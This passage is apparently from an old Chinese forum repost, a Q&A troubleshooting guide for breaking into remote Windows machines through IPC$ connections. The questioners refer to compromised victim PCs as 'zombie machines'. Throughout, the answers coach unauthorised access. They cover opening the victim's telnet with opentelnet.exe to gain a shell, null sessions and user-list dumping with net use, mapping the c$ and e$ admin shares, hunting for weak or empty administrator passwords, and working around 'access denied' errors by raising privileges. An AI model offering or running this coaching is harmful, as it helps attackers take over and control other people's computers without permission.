答:首先糾正你的一個錯誤,用net view是無法看到默認共享的。既然你現在有管理員權限,而且對方又開了ipc$,建議你用opentelnet.exe這個小程序打開它的telent,在獲得了這個shell之後,做什麼都可以了。


5.ipc$連接成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?
net uset ccbirds /add

答:ipc$建立成功只能說明你與遠程主機建立了通信隧道,並不意味你取得了一個shell,只有在獲得一個shell之後,你才能在遠程建立一個帳戶,否則你的操作只是在本地進行。


6.我已進入了一台肉機,用的管理員帳號,可以看他的系統時間,但是複製程序到他的機子上卻不行,每次都提示「拒絕訪問,已複製0個文件」,是不是對方有什麼服務沒開,我該怎麼辦?

答:不能copy文件有多個可能,除了權限不夠外,還可能是對方c$,d$等默認管理共享沒開,或者是對方為NTFS文件格式,通過設置,管理員也未必能遠程寫文件。既然你有管理員權限,那就開telnet上去吧,然後在開它的共享。


7.我用Win98能與對方建立ipc$連接嗎?

答:不可以的,要進行ipc$的操作,建議用win2000


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法導出用戶列表,這是為什麼?

答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改註冊表來禁止導出列表,就會出現你所說的情況;或者你自己的NBT沒有打開,netstat是建立在NBT之上的。  


9.我建立ipc$連接的時候返回如下信息:『提供的憑據與已存在的憑據集衝突』,怎麼回事?

答:呵呵,這說明你與目標主機建立了一個以上的ipc$連接,這是不允許的,把其他的刪掉吧:net use \\*.*.*.*\ipc$ /del


10.我在映射的時候出現:
F:\>net use h: \\211.161.134.*\e$
系統發生 85 錯誤。
本地設備名已在使用中。這是怎麼回事?

答:你也太粗心了吧,這說明你的h盤正在使用,映射到別的盤符吧!


11.我建立了一個連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:\>net use h: \\*.*.*.*\c$
密碼在 \\*.*.*.*\c$ 無效。
請鍵入 \\*.*.*.*\c$ 的密碼:
系統發生 5 錯誤。
拒絕訪問。

答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。


12.我用superscan掃到了一個開了139端口的主機,但為什麼不能空連接呢?

答:你混淆了ipc$與139的關係,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不一定能空連接,因為對方可以關閉ipc$共享.


13.我門局域網裡的機器大多都是xp,我用流光掃瞄到幾個administrator帳號口令是空,而且可以連接,但不能複製東西,說錯誤5。請問為什麼?

答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你複製文件,當然是錯誤5:權限不夠。


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出現請鍵入 \\192.168.0.2 的密碼,怎麼回事情呢?

答:雖然你具有管理員權限,但管理員在設置c盤共享權限時可能並未設置允許administrator訪問,所以會出現問題。


15.如果自己的機器禁止了ipc$, 是不是還可以用ipc連接別的機器?

答:可以的。


=========================
文章類型:轉載 提交:塵世邊緣 核查:NetDemon
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39


回到 Windows 筆記



cron